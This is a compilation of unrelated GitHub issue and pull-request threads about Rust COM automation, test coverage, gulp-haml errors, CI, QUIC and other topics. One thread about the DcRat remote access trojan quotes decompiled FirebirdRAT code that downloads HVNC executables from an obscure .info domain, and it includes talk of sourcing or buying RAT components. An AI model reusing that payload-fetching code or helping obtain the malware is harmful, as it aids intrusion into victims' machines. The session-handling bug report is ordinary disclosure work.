MSDN Reference

Hi @themontem ,
Actually, I already did all the work in #927 and #928, which are blocked by #883. Maybe you could help with reviewing?
However, and regarding all the COM interface and class definitions, it would be much simpler if we could use macros from microsoft/com-rs because they provide an easy way to create COM classes and implement interfaces for them.
CC @retep998  and @rylev.

@DataTriny thank you for your effort! Could you also provide an example of how to use this?
For example, how can I call ElementFromHandle?
Thank you!

Hello @w01fgang ,
Glad you asked because I forgot to include a COM class in my last PR (fixed in #928).
Here is how you can use IUIAutomation::ElementFromHandle to get the title of the foreground window:
use widestring::WideString;
use winapi::{Class, Interface};
use winapi::ctypes::c_void;
use winapi::shared::winerror::FAILED;
use winapi::shared::wtypesbase::*;
use winapi::um::combaseapi::CoCreateInstance;
use winapi::um::objbase::CoInitialize;
use winapi::um::oleauto::{SysAllocString, SysFreeString, SysStringLen};
use winapi::um::uiautomationclient::{CUIAutomation, IUIAutomation, IUIAutomationElement, UIA_HWND};
use winapi::um::winuser::*;

fn main() {
	unsafe {
		if FAILED(CoInitialize(std::ptr::null_mut())) {
			eprintln!("Failed to initialize COM.");
			return;
		}
		let mut p_automation: *mut IUIAutomation = std::ptr::null_mut();
		let hr = CoCreateInstance(
			&CUIAutomation::uuidof(),
			std::ptr::null_mut(),
			CLSCTX_INPROC_SERVER,
			&IUIAutomation::uuidof(),
			&mut p_automation as *mut *mut IUIAutomation as *mut *mut c_void);
		if FAILED(hr) {
			eprintln!("Failed to initialize UI Automation.");
			return;
		}
		let hwnd = GetForegroundWindow() as UIA_HWND;
		let mut p_element: *mut IUIAutomationElement = std::ptr::null_mut();
		let hr = p_automation.as_ref().unwrap().ElementFromHandle(hwnd, &mut p_element as *mut *mut IUIAutomationElement);
		if FAILED(hr) {
			eprintln!("Failed to get UI Automation element for foreground window.");
			return;
		}
		let mut raw_name = SysAllocString(std::ptr::null());
		let hr = p_element.as_ref().unwrap().get_CurrentName(&mut raw_name);
		if FAILED(hr) {
			eprintln!("Failed to get name of foreground window.");
			return;
		}
		let name = WideString::from_ptr(raw_name, SysStringLen(raw_name) as usize);
		SysFreeString(raw_name);
		println!("Name of foreground window: {}", name.to_string_lossy());
	}
}

However, if you would like to implement an UI Automation server, you would have to create new COM classes, and manually instanciate the vtables for pointers to them.
Hope this address your question.
Regards.

@DataTriny Great! Thanks a lot!

@DataTriny Great! Thanks a lot!


Running test of a specific folder exclude the whole project from coverage

I'm trying to migrate from JEST and currently this is my folder structure
test
 - some.e2e.test.ts
src
 - services
   - some.service.ts
   - some.service.spec.ts

By default, tap will search for all files ending in .ts, .tsx, .js, .jsx, .cjs, or .mjs, in a top-level folder named test, tests, or __ tests __, or any file ending in '.spec.' or '.test.' before a supported extension, or a top-level file named

In order to not removing all jest stuff, I created a __tests__ folder with a foo.test.ts file
__tests__
 - foo.test.ts
test
 - some.e2e.spec.ts
src
 - services
   - some.service.ts
   - some.service.spec.ts

The command tap --coverage --ts __tests__/* run correctly the foo.test.ts, but all files in  src are missing from the coverage. I tried also with options --test-regex=__tests__ or --test-ignore=.spec.ts same result.
How can a tell tap to run all files in __tests__ and considering all files in src for coverage excluding .spec.ts?

never mind, was a problem with tap options
"tap": {
    "coverage": true,
    "check-coverage": true,
    "coverage-report": "lcov"
  }

removing "coverage-report": "lcov" it works


Add restaff button to Team info card

Coverage remained the same at 94.27% when pulling 422bb2b62258aa209f560af037c0e9d50eeb20ba on restaff-in-team-info-card into c0512a924a51b04d7c6d86c2fced304d8d81d4c0 on main.


"TypeError: undefined is not a function" in generated file

Hi, I have the following HAML:
!!! 5
%html.no-js{:lang => "en"}
  %head
    %title Our Awesome Haml Template
  %body
    %p Abstracting HTML since 2006

But it's outputting the following error message in the generated file:

TypeError: undefined is not a function
    at eval (eval at <anonymous> (/Users/mbiz/www/suau/node_modules/haml/lib/haml.js:595:29), <anonymous>:2:15)
    at Function.<anonymous> (/Users/mbiz/www/suau/node_modules/haml/lib/haml.js:595:11)
    at execute (/Users/mbiz/www/suau/node_modules/haml/lib/haml.js:602:8)
    at Function.render (/Users/mbiz/www/suau/node_modules/haml/lib/haml.js:587:12)
    at hamlStream (/Users/mbiz/www/suau/node_modules/gulp-haml/index.js:31:6)
    at wrappedMapper (/Users/mbiz/www/suau/node_modules/map-stream/index.js:84:19)
    at Stream.stream.write (/Users/mbiz/www/suau/node_modules/map-stream/index.js:96:21)
    at write (/Users/mbiz/www/suau/node_modules/gulp/node_modules/vinyl-fs/node_modules/through2/node_modules/readable-stream/lib/_stream_readable.js:623:24)
    at flow (/Users/mbiz/www/suau/node_modules/gulp/node_modules/vinyl-fs/node_modules/through2/node_modules/readable-stream/lib/_stream_readable.js:632:7)
    at DestroyableTransform.pipeOnReadable (/Users/mbiz/www/suau/node_modules/gulp/node_modules/vinyl-fs/node_modules/through2/node_modules/readable-stream/lib/_stream_readable.js:664:5)

It seems to work if I remove the {:lang => "en"} part, but I want to put a lang attribute here, so removing it is not an option.
Also, if it helps, here's how I'm declaring my gulpfile task:
gulp.task('haml', function () {
    return gulp.src('src/haml/**/*.haml')
        .pipe(haml({ext: '.html'}))
        // .pipe(prettify({indent_char: ' ', indent_size: 4}))
        .pipe(gulp.dest('./'));
});

Anyway, let me know if you need any more info :) Thanks

Can you try with the TJ haml lib?
compiler: 'visionmedia'

That error is weird, https://haml2erb.org/ compiles the code correctly.
I'd suggest opening an issue on the relevant project as well since I don't alter the project here.

I've got the same error.
gulp.task('haml', function () {
	gulp.src('./Views/**/*.haml')
			.pipe(haml({
				compiler: 'visionmedia'
			}))
			.pipe(gulp.dest('./'));
});

will produce the following error:
[18:23:44] Finished 'haml' after 7.91 ms
stream.js:74
      throw er; // Unhandled stream error in pipe.
      ^

SyntaxError: (Haml): Unexpected token :
    at Function (native)
    at /home/benjamin/projects/iframedepo/node_modules/hamljs/lib/haml.js:662:14
    at Object.HAML.render (/home/benjamin/projects/iframedepo/node_modules/hamljs/lib/haml.js:676:6)
    at hamlStream (/home/benjamin/projects/iframedepo/node_modules/gulp-haml/index.js:31:6)
    at wrappedMapper (/home/benjamin/projects/iframedepo/node_modules/map-stream/index.js:84:19)
    at Stream.stream.write (/home/benjamin/projects/iframedepo/node_modules/map-stream/index.js:96:21)
    at write (/home/benjamin/projects/iframedepo/node_modules/vinyl-fs/node_modules/readable-stream/lib/_stream_readable.js:623:24)
    at flow (/home/benjamin/projects/iframedepo/node_modules/vinyl-fs/node_modules/readable-stream/lib/_stream_readable.js:632:7)
    at DestroyableTransform.pipeOnReadable (/home/benjamin/projects/iframedepo/node_modules/vinyl-fs/node_modules/readable-stream/lib/_stream_readable.js:664:5)
    at emitNone (events.js:67:13)

Setting the compiler to the default creationix will compile, but with the same error as before.

Can confirm the above error...

Please open the issue on the relevant haml project.

The HAML-js lib has a number of issues (21 as of June 2017).
creationix HAML-js does not report file names or line numbers when erroring, but will give you it's own useless internal stack trace in the output file.
When possible, try the other compiler or the original Ruby lib (Here's a gulp wrapper. It calls out to Ruby, is slow, but it works.)

Sounds like it is unmaintained....

with this library you can't use regular Ruby syntax like:
%html.no-js{:lang => "en"}
you should use Ruby1.9 syntax:
%html.no-js{lang:"en"}
Author, please make the note about required syntax.

That's an issue in the creationix complier, which appears to be unmaintained.
Use the alternate compiler instead:
var haml = require('gulp-haml')

gulp.src('path/to/stuff')
  .pipe( haml({
    compiler: 'visionmedia'
  })
)

AnalyzePlatypus, i did, both compilers: creationix and visionmedia are working only with Ruby1.9 syntax.

Hmm.
File an issue on the visionmedia compiler here.
My experience with both compilers has not been great.
I've switched to gulp-haml-ruby, which uses the original Ruby implementation.
However, it calls out to the command line and Ruby, so it's very slow (3s to launch on my 15" MBP).
The benefit: it actually works.

AnalyzePlatypus, that's why im not using gulp-haml-ruby, because Ruby requests are slow.

Oh, absolutely.
But it seems like the best option out there, short of switching to a different template language.
(Better slow and functional than fast and broken)

AnalyzePlatypus, to be honest, it's not broken. Compiler works perfect, but with Ruby1.9 syntax only and has no other Ruby fitches like: include from other file. Because it's just a compiler, not a full-functionality langeage.

I don't know.
Both compilers have their flaws.
<rant>
The creationix lib doesn't seem to be maintained.

Multiline attributes, strings and comments: broken
Obscure compilation errors lacking basic info (what went wrong?), file names, and line numbers.
"Secret" errors that do not get thrown, but instead wind up in the output file with obscure stack traces.

Running the code through the canonical Ruby gem passes it with no errors.
Same on the haml2erb online convertor
The visionmedia compiler gives me irreproducible issues with my indenting.
Again, the original Ruby implementation is perfectly happy with it.
In short: wrapping a HAML lib in a gulp plugin: Great idea!
Are there any decent JS implementations of HAML? Maybe, but I haven't found one yet.
Don't get me wrong, this plugin might be perfectly suited for your needs.
But I'm limping back to the painfully slow (but functional) Ruby version, at least until the state of the compilers improves.
</rant>
(My apologies)

I just found Pug, best replacement for Haml.


Fix resolver test

Seems https://repo.typesafe.com/typesafe/ivy-releases is experiencing issues right now…

It redirects to this…


Media Manager different behaviour from Post/Page upload

Laravel Version: 1.0.5
Voyager Version: 5.5.14
PHP Version: 7.1.7
Database Driver & Version: postgres 9.5.7

Description:
Uploading a .jpg that is originally 1,749kb  coverts the file to a .jpeg that is now 3,958kb
This is counter intuitive for a media manager. Why is it changing the file type? Why is it making the file larger rather than applying some sort of compression? Is there a way I can modify this behaviour?
Question 2 - Why are you hashing the file name? File names matter for SEO, I understand I can change it afterwards, but again, counter intuitive and something I'd have to train my users to do.
This only happens when working with the Media Manager upload itself. Uploading via a Post or Page significantly reduces the image size and does not change the file name.
Steps To Reproduce:
Upload a .jpg file through the Media Manager (not through a Post or Page interface)

This will be possible in version 1.2.
See (https://github.com/the-control-group/voyager/pull/3889).


Fix CI

This is not adding the library.
This error is occurring, so I'm trying to fix that.
https://github.com/gizmoboy7/VCFloatingActionButton redirects to https://github.com/giridharvc7/VCFloatingActionButton

thx


Panasonic ptz refactoring (Sofie 2484)

Codecov Report
Attention: 25 lines in your changes are missing coverage. Please review.

Comparison is base (8d0dac7) 46.81% compared to head (5219acb) 47.95%.

Files
Patch %
Lines

...te-resolver/src/integrations/panasonicPTZ/index.ts
45.16%
17 Missing :warning:

...solver/src/integrations/panasonicPTZ/connection.ts
60.00%
6 Missing :warning:

...ges/timeline-state-resolver/src/service/devices.ts
33.33%
2 Missing :warning:

Additional details and impacted files
@@              Coverage Diff              @@
##           release51     #317      +/-   ##
=============================================
+ Coverage      46.81%   47.95%   +1.14%
=============================================
  Files            110      112       +2
  Lines           9946     9893      -53
  Branches        2447     2434      -13
=============================================
+ Hits            4656     4744      +88
+ Misses          4831     4707     -124
+ Partials         459      442      -17

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


daoURI for Lodestar DAO

Lodestar Finance recently voted to adopt EIP-4824: https://snapshot.org/#/lodestarfinance.eth/proposal/0x38ffe468e5da476833074ed0b3496efa00d52a5424b70d5a088790bf7a052f6d
We need to build their daoURI so that they can adopt the standard.
Blockers:

They are not in Boardroom. How do we build their membersURI?
They want to include a few contracts in the contractsRegistry.

@amanwithwings
Here's the members URI JSON for Lodestar Finance
https://gist.github.com/Rashmi-278/19d93da7b9fce94e6a874e10e30b2242
Please share this with their team
They should be hosting this JSON file
Here's data to generate a DAO URI for Lodestar Finance Snapshot Governance on Arbitrum
Name: Lodestar Finance
Description: Lodestar Finance is an algorithmic borrowing and lending protocol that aims to bring the critical DeFi primitive of decentralized money markets to Arbitrum communities.
Members URI: https://gist.github.com/Rashmi-278/19d93da7b9fce94e6a874e10e30b2242
Activity Log URI: https://snapshot.org/#/lodestarfinance.eth
Proposals URI: https://services.daostar.org/api/v1/snapshot/proposals/lodestarfinance.eth
Governance URI: https://snapshot.org/#/lodestarfinance.eth
Issuers URI: https://odestarfinance.io/
Contracts Registry URI: https://docs.lodestarfinance.io/getting-started/deployed-contracts

Thanks for the quick turnaround on this, @Rashmi-278. A question - is the membersURI static? It wouldn't be as useful if it is- we need the URI to return an up-to-date list of their members.

Thanks for the quick turnaround on this, @Rashmi-278. A question - is the membersURI static? It wouldn't be as useful if it is- we need the URI to return an up-to-date list of their members.

Hey Aman, good catch, yes I can give a dynamic link, I have a python script I used for this, let me host an endpoint

__

It should be "@context": "http://www.daostar.org/schemas" above

Just noting here that this is high priority because it is part of the Arbitrum grant #184

Lodestar Registration Successful!

LInk: https://daostar.org/registration/arbitrum:0x378585249fd40c4736b88e577a0110e9fe491e3f


fix: 修复mysql语句解析异常问题,mysql实际执行正常

解析异常sql
sql1: ((select * from b where 1=1) limit 0,123)
sql2: select *   from (((select  *  from tb1 a where  (a.cc IN('I') )   and 1=1  and (1=2) ))   limit 0,1234) as a  where  (((a.cc IN('I') ) AND (a.cc IN('I') )))   order by a.cc

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.1 out of 2 committers have signed the CLA.:white_check_mark: AdolphLv:x: lyanglyang seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


new frame grabber handling

1. Tell us something about your changes.
current state is, that the grabbers dispmanx (raspi/videocore), framebuffer and osx screen capture shares the same config block "framegrabber".
The config block "framegrabber" is a synonym for screen capture device. We have 2 other screen grabbers in hyperion available - x11 and amlogic.
Those 2 uses a separate config block.
This PR makes x11 grabber available through hyperiond and x11 and amlogic uses now the common screencapture config block "framegrabber".
This prohibits usage of e.g. amlogic and e.g. framebuffer at the same time.
The framegrabber block has a new option named "type" If type is "auto" the best available grabber for current platform is choosen. If you want manual select, use type variable with values:

osx
dispmanx
amlogic
x11
framebuffer

To make it perfect we need to solve issue  #122. Currently we need 2 builds for arm platform (raspi and other arm systems) Later on we can reduce it to one build for raspi that works on other arm systems too.
For x86 builds it is now easier to grab the screen, because x11 grabber works directly from inside hyperiond.
For wetek/amlogic people it is now easier to get it working. Just start hyperiond. The amlogic grabber is automaticly choosen, if started on systems with aml device available.
Extension for v4l:
display list of available devices:
[HYPERIOND V4L2GRABBER] <INFO> available V4L2 devices:
        /dev/video0     USB2.0 Camera
        /dev/video1     usbtv
        /dev/video2     BT878 video (Hauppauge (bt878))

add ability to use v4l name instead of device name or 'auto'.
example: (suitable for my device list above)
	"grabber-v4l2" :
	{
		"enable" : true,
		"device" : "usbtv",
		....
	}

this selects always the "usbtv" device (my lightberry kit), regardless which /dev/videoX it is.
this is the output printed when device found:
[HYPERIOND V4L2GRABBER] <INFO> found v4l2 device with configured name: usbtv (/dev/video1)
2. If this changes affect the .conf file. Please provide the changed section
yes, mainly "type" in framegrabber. see commented config for more details
all screen capture grabbers (means all except v4l) now uses only section "framegrabber"
3. Reference a issue (optional)
#1 #117 (preparation for #122 )

Great work - I was considering including the X11 grabber in hyperiond but you've gone even further!

yes, great! It was not very inconsequent to include everything but no x11

Problem with x11 was you cant set height/width, because resolution is theoreticly dynamic. I've made it possible, when x11 grabber detect resolution change, it resizes the buffer image and send new size to image processor.
Now get the runtime binding work ....

.. add a new v4l feature, see my updated issue description

@redPanther yep. works as expected
when setting type: auto in framegrabber, amlogic is auto selected and it works fine.
when setting type: framebuffer and device: /dev/fb0 - framebuffer grabber is selected, and it also works.
with amlgrabber, there is still a logger crash somewhere, so --debug or --verbose didnt work, sadly, I can not get usable backtrace (corrupt stacks everywhere, need to rebuild more stuff with debugging enabled), http://sprunge.us/KKNd
does not crash with --debug and framebuffer is in use. only amlgrabber is crashing
my only problem with this is, that I always needed two grabbers enabled and working - amlgrabber and framebuffer, because half of my content I play in kodi is software decoded.
if only one active grabber is the future of hyperion, I hope one day kodi can use ionvideo to hw decode on aml devices. there was an attempt to rework it once, but it was too slow :(
if kodi can use ionvideo, this would effectively make amlgrabber obsolete and fb grabber would always work.

i will investigate logger crash in aml...

here, better one: http://sprunge.us/EfCP
https://github.com/hyperion-project/hyperion.ng/blob/master/libsrc/grabber/amlogic/AmlogicGrabber.cpp#L33

Thats odd, disn't know how bad situation on wetek is.
Can you give me some more info what content use fb and what aml?

in kodi v16, there is an option to disable amcodec. once you disable it, everything is decoded in software. if enabled (almost) everything is decoded in hardware
some codecs like h263, rmvb are always decoded in software. h265 is decoded in software on older boxes that can't hardware decode it (wetek play)
in kodi v17, there are (3) options to choose whether to enable hw decoding of mpeg2, mpeg4 and h264 depending on video dimensions. as amcodec does not play well with (interlaced) SD mpeg2 and some mpeg-4 videos, I do the following:
mpeg-2: hw decode only "hd and up" (width > 800). sw decode SD content (mostly live tv)
mpeg-4: same as mpeg-2
h264: always hw decode
with HW decoder active, you get nothing out of /dev/fb0, amcodec renders the picture behind kodi's back, so there amlgrabber is used.
with HW decoder not active, you get nothing out of /dev/amvideocap0, picture is rendered by kodi, amlgraber does not work. framebuffer grabber works.

Ok then I start in aml case the aml and fb grabber.

That also means that currently the grabber that get "no signal" stops automatically and unregister from prio?

@redPanther: Super sache.
Nur leider muss ich jetzt warten mit meinem PR. Hab schon einiges in der hyperiond in QTJson umgeschrieben. Das würde sich jetzt wieder beißen mit deinem PR.
Kein Problem. Ich kann warten. :-)

If @redPanther give it a go we could merge it immediately :)

@redPanther:
Also funktionieren tut das schon mal super.
Ohne Debug Ausgabe wüsste ich aber nicht das der X11 grabber läuft.
Angeblich läuft ja keiner weil alle aus dem Build ausgeschlossen wurden.
[HYPERIOND MAIN] <ERROR> No grabber can be instantiated, because all grabbers have been left out from the build

ich merge mal und den kleinram + wetek kommt dann später ...


Add compatibility for laravel 9.*

Hi
I actually make a single change to make this package to Laravel 9.
MocksApplicationServices trait removed from Orchestra\Testbench\TestCase in orchestra/testbench:7 due to mark this as deprecated in laravel 8 (laravel/framework#36716)
So I used Event facade as it suggested in official document.
I also changed workflow matrix to test Laravel 9 only with php 8.0 and not 7.4

Thank you @yeganemehr!


Hook fails to run due to missing working directory

If a checkout step fails then it removes the checkout directory, and subsequent hooks like pre-exit can fail to run because the working directory (the build directory / checkout directory) does not exist.
Does it make sense to always make sure the working directory exists (mkdir -p) before running a hook?

On reviewing the code, I reckon we should add a createCheckoutDir right after the removeCheckoutDir because it's only otherwise before the retry loop so subsequent checkouts happen in a different state — the first checkout happens into a guaranteed-to-exist directory, subsequent checkouts happen to a non-existent path.


Touchbar support

Basic touchbar support for macOS users. When playing a podcast, a next, play, and previous button will appear.

this is hard to test. basically you need to run the app on all platforms to see if its ok...

@tschellenbach agreed. However, it's only designed to work on the macOS touchbar.


Feat: Add subtask feature

The following PR introduces the subtask feature for taskgo.

NOTE: THIS PR WAS REVERTED IN MAIN BRANCH.


fix grammatical error

"an", as apposed to "a", precedes vowel sounds; "HTTP" is most often —as far as I'm aware— read by its letters and, thus, starts with "aitch" so should be preceded with "an", not "a".

Thank you!


[Suggestion] Way to exclude specific blocks from a network

Sorry if this is the wrong place for suggestions, figured I might as well try here.
It would be nice to have a way to exclude blocks from the network; I like using the crates for general utility, but I would not want their contents to show up in my manifest. For example, if I dedicate to using the arcane archives network for exclusively Thaumcraft stuff, I wouldnt want to have other arcane archive chests that DONT contain thaumcraft stuff to show up in the manifest.

This is already planned actually.


Can you also complete the HVNC plugin??

Can you also complete the HVNC plugin??

this is something just to keep control
may add HVNC in DcRat in the future

Hello friend i have see your repository on github and i found this malware sample : https://github.com/qwqdanchun/malware_decompiled_code/blob/master/FirebirdRAT_03_2020/ServerDll/Dll/HVNC.cs
Can you share those 2 files for study ?
if (Environment.Version.Major == 2)
{
data = webClient.DownloadData("http://fuehaoisdfhjaefouiads.info/HVNC20.exe");
}
if (Environment.Version.Major == 4)
{
data = webClient.DownloadData("http://fuehaoisdfhjaefouiads.info/HVNC40.exe");
}
Sent with ProtonMail Secure Email.
‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐
On Saturday, April 24, 2021 11:00 AM, qwqdanchun @.***> wrote:

this is something just to keep control
may add HVNC in DcRat in the future
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

maybe you can buy the hive rat.
It's come from firebird rat

do you sell it?
Sent with ProtonMail Secure Email.
‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐
On Saturday, April 24, 2021 11:12 AM, qwqdanchun @.***> wrote:

maybe you can buy the hive rat.
It's come from firebird rat
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

or maybe sell those 2 files?
Sent with ProtonMail Secure Email.
‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐
On Saturday, April 24, 2021 11:12 AM, qwqdanchun @.***> wrote:

maybe you can buy the hive rat.
It's come from firebird rat
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

I don't sell rat

maybe ask this
https://github.com/p3pperp0tts/malware_decompiled_code

ok,thanks.
Sent with ProtonMail Secure Email.
‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐
On Saturday, April 24, 2021 11:14 AM, qwqdanchun @.***> wrote:

I don't sell rat
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.


Expose the internal snapshot_ method for public use

What would you like to see in the library?
Currently Firestore document triggers in EventArc are extremely clunky to use. Decoding and then parsing protobuf-encoded payloads provides a poor DX compared to the ease of accessing document data in Firebase Functions. Firebase Functions is able to provide this smooth experience by making use of an internal Firestore method, snapshot_ found here: snapshot_
How it's used in FF: https://github.com/firebase/firebase-functions/blob/master/src/common/providers/firestore.ts
If you expose snapshot_ as a public method, it will make the experience of using EventArc Firestore Document triggers with something like Cloud Run way better. And since the method already exists, I can't imagine this would be such a big lift. Absolutely huge ROI on this effort for your users. Thanks!
Describe alternatives you've considered
Painfully decoding and parsing Protobuf-encoded data
Additional context/notes
I'm posting this here because this is where the internal snapshot_ method lives, but it would make sense to expose this through firebase-admin as well.

(drive-by comment: this appears to be a similar request to https://github.com/googleapis/nodejs-firestore/issues/2057)

(drive-by comment: this appears to be a similar request to https://github.com/googleapis/nodejs-firestore/issues/2057)

Yea, basically the same request. A sane, official way to convert document event protobufs into something useful.

Thanks for the suggestion @GriffinJohnston . I'll bring it up with the team.

Thanks for the suggestion @GriffinJohnston . I'll bring it up with the team.

Thanks! While we're here I should mention that the ideal would be a function that decodes the incoming protobuf and then also parses the resulting data into a DocumentSnapshot or even just a plain JS object. Something like the createSnapshotFromProtobuf function in the referenced Firebase Functions code. I'm happy to handle the protobuf decoding if it means getting this sooner though :)

Hi @GriffinJohnston , could you elaborate on why you could not use the firebase-functions library in your workflow?

@ehsannas I'm handling these events with a containerized application on Cloud Run. Maybe I'm missing something, but I haven't found anything in firebase-functions that would be relevant to my situation.


Implement QUIC address validation

QUIC server address verification is a requirement for QUIC server MVP.  This pull request, based initially on @Sashan work implements that feature and fixes the various issues that were left to solve on it, as well as the various tests that were impacted by its introduction
Checklist

[x] documentation is added or updated
[x] tests are added or updated

Note: Waiving style due to quic_connection.h header having consistent out-of-line style

CI failures seem not relevant, as they are failing tests for cloudflare validating the kyber algorithm

ok, I've restored all the RETRY_SCID code, and instead made the server include the RETRY_SCID transport param when we establish a connection via retry, which seems to be in keeping with the RFC.  That should address all the comments you both made.

One more thing: please make sure commit message start with 'Implement QUIC address validation' (or something similar) the key is to keep phrase address validation in so we are consistent with RFC (and rest of the QUIC world). thanks.
otherwise my approval still holds.

rebased onto newly rebased feature/quic-server branch

24 hours has passed since 'approval: done' was set, but as this PR has been  updated in that time the label 'approval: ready to merge' is not being automatically set.  Please review the updates and set the label manually.

Merged to the feature branch. I've assumed implicit approval from Neil for the first commit.


Containerizing pyzmq

Hello, I'm not really sure if this is the right place to discuss this but I would appreciate any insight. I'm trying to containerize an application that has pyzmq as a dependency (I'm using Bazel to build and push the containers) and i'm getting this error when I run the containers:
ImportError: cannot import name '_device' from partially initialized module 'zmq.backend.cython' (most likely due to a circular import)

Does the environment at which I build the system affect how pyzmq is installed?
I'm not doing anything special, just listing pyzmq as a pip dependency.

Does the environment at which I build the system affect how pyzmq is installed?

Yes, absolutely. Like any compiled Python Extension, it must be compiled for the target environment. I know cross compilation for Python extensions is possible, but I don't know much about it.
The 'circular import' error is just a completely wrong message that recent versions of Python show for ~any compiled extension that can't be loaded.

Aahhh that makes a lot more sense, thanks for the help!


Bug report : 2

Hi,
This issue is Broken authentication and improper session management - Failure to validate session after password change .
Host: dapp.satt.io
Severity : Low
Broken authentication and session management. Local session hijacking may occur, which could result in unauthorized access to system data or functionality, or a complete system compromise.
Usually it happens that when you change your password or sign out from one place (or one browser), automatically someone who has opened the same account will sign out too from another browser. Basically your session is destroyed at server side.
But on your site, it's still alive..
Steps to reproduce :

open the same account in two different browsers.

change the password from any one of the browsers.

check whether you are able to access the account on another browser or device.

if you can still access the account then it is broken authentication and improper session management.

Impact :
For example x user sign in to your site In his office computer / any public internet cafe / any different device or any third person's machine he forgets to logout form the device later he realized and he changed the password. But it won't affect the attacker, the session is still alive until the attacker logs out. Now what will happen is an attacker will completely access the victim's account, wallet and edit the victim's profile etc...
Best,
Yesh

Any updates?


deps: Use caret ^ semver for nan

Change:
Adds ^ (caret semver) when specifying the nan dependency.
Motivation:
Allows later upgrades within the same major versions of nan, without coming back to modify this package's package.json file and then bumping this package's version in any/all consumers of this package.
Context:
This is a follow-up to #1, which removed the caret ^ semver in specifying the nan dependency in package.json.
Rationale:
I don't think it's a good trade-off to pin an exact version of nan.
I've never had a problem updating to a newer version of nan (no point in pinning an exact version), but with new versions of NodeJS and Electron coming out all the time, bumping nan in our direct/indirect dependencies is frequently quite helpful (lots of reasons to upgrade frequently, caret ^ semver comes in handy for this).
Dealing with exact pinned version is much more laborious than just refreshing your lockfile, so caret ^ semver is the way to go for nan, IMO.
Also helps optimize the deduplication of different nan versions, not that nan is a very heavy dependency if I recall correctly. Wider/more-permissive semver ranges for nan allow one version of nan to satisfy the requirements of more packages.

Thanks for review, merging...

Just noticed the typo in the PR title/merge commit message. 🥲 Oh, well.


Improve GitHub Actions

I recently announced ha-blueprint:
https://community.home-assistant.io/t/made-a-custom-integration-or-card-ive-created-an-all-in-one-github-action-for-you/235041?u=ktibow
This makes CI use it.

I prefer the actions that are already in the repository and not subject to change from an outside project, however well-intentioned it may be.

I can pin it to a commit hash if you want.


fix validation for proposed vs committed log entries for intoto v0.0.1

PTAL; I prefer this fix over https://github.com/sigstore/rekor/pull/1294 because it more explicitly expresses the validation logic that was originally intended in the JSON schema.
I'd also like to handle any fixes for other intoto versions in separate PRs where possible.
Signed-off-by: Bob Callaway<EMAIL_ADDRESS>

Codecov Report

Merging #1309 (65799fd) into main (87170af) will decrease coverage by 20.35%.
The diff coverage is 13.04%.

:exclamation: Current head 65799fd differs from pull request most recent head 4144c6d. Consider uploading reports for the commit 4144c6d to get more accurate results

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@             Coverage Diff             @@
##             main    #1309       +/-   ##
===========================================
- Coverage   63.13%   42.79%   -20.35%
===========================================
  Files          82       74        -8
  Lines        7854     7435      -419
===========================================
- Hits         4959     3182     -1777
- Misses       2262     3917     +1655
+ Partials      633      336      -297

Flag
Coverage Δ

e2etests
?

unittests
42.79% <13.04%> (+0.02%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

 Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

verified that upload and get worked for intoto v0.0.1 for cosign v1.12.0, v1.12.1, v1.13.0, v1.13.1, and 2.0.0-rc1 flows.


[libra framework] move TransactionFee resource under treasury complia…

…nce account
Previously, this resource lived under the LibraRoot account, which is rather large (~10 KB). Because paying gas fees requires writing to this resource and the granularity of storage writes is "entire account", a transaction with a nonzero gas price ends up being a lot more expensive than the same transaction with zero gas price.
This PR addresses the problem by placing the TransactionFee resource under the TC account instead. This account is much smaller, so this should be faster. In addition, this simplifies the TransactionFee code a bit because TC was already responsible for burning gas fees. Now, the code no longer needs to mention the LR account at all.
cluster-test results with gas_price=1 before this PR:
all up : 635 TPS, 7158 ms latency, 8500 ms p99 latency
and after:
all up : 874 TPS, 5189 ms latency, 6200 ms p99 latency

/canary

:broken_heart: Test Failed - commit-workflow

/land


Added target checking for modal to close it.

Summary <

[x] Added target checking for the modal background in Onboarding.vue and FlexibleModal.vue.

Remaining TODOs:

[ ] Reimplement the modal system to be more modular using vue-portal and some form of mixin functionality.

Test Plan
Check that drop-downs aren't affected. Check that all relevant modals have this functionality applied to them.

Elsewhere in the code we use the v-click-outside directive. Have your tried that before writing the check on your own?

An earlier pr (https://www.notion.so/Allow-modals-to-be-closed-by-clicking-outside-like-before-71c061c15e85402abc5396602123c589) was using v-click-outside and apparently, it was triggering on drop-down clicks, so I did it separately without touching the v-click-outside code so it doesn't break anything.


spire namespace missing on a clean helm deploy

Expected Behavior

Installing NSM with helm3 from networkservicemesh/deployments/helm/nsm should render a working NSM system.
Current Behavior

The installation fails with error, that the namespace spire does not exist.
Failure Information (for bugs)

Steps to Reproduce
with a system that previously did not run NSM, or as I had an older version of NSM which I removed.
system info:
[root@kube-master ~]# kubectl version
Client Version: version.Info{Major:"1", Minor:"17", GitVersion:"v1.17.8", GitCommit:"35dc4cdc26cfcb6614059c4c6e836e5f0dc61dee", GitTreeState:"clean", BuildDate:"2020-06-26T03:43:27Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"17", GitVersion:"v1.17.8", GitCommit:"35dc4cdc26cfcb6614059c4c6e836e5f0dc61dee", GitTreeState:"clean", BuildDate:"2020-06-26T03:36:03Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
[root@kube-master ~]# helm version
version.BuildInfo{Version:"v3.0.0", GitCommit:"e29ce2a54e96cd02ccfce88bee4f58bb6e2a28b6", GitTreeState:"clean", GoVersion:"go1.13.4"}
If you have nsm installed remove it.
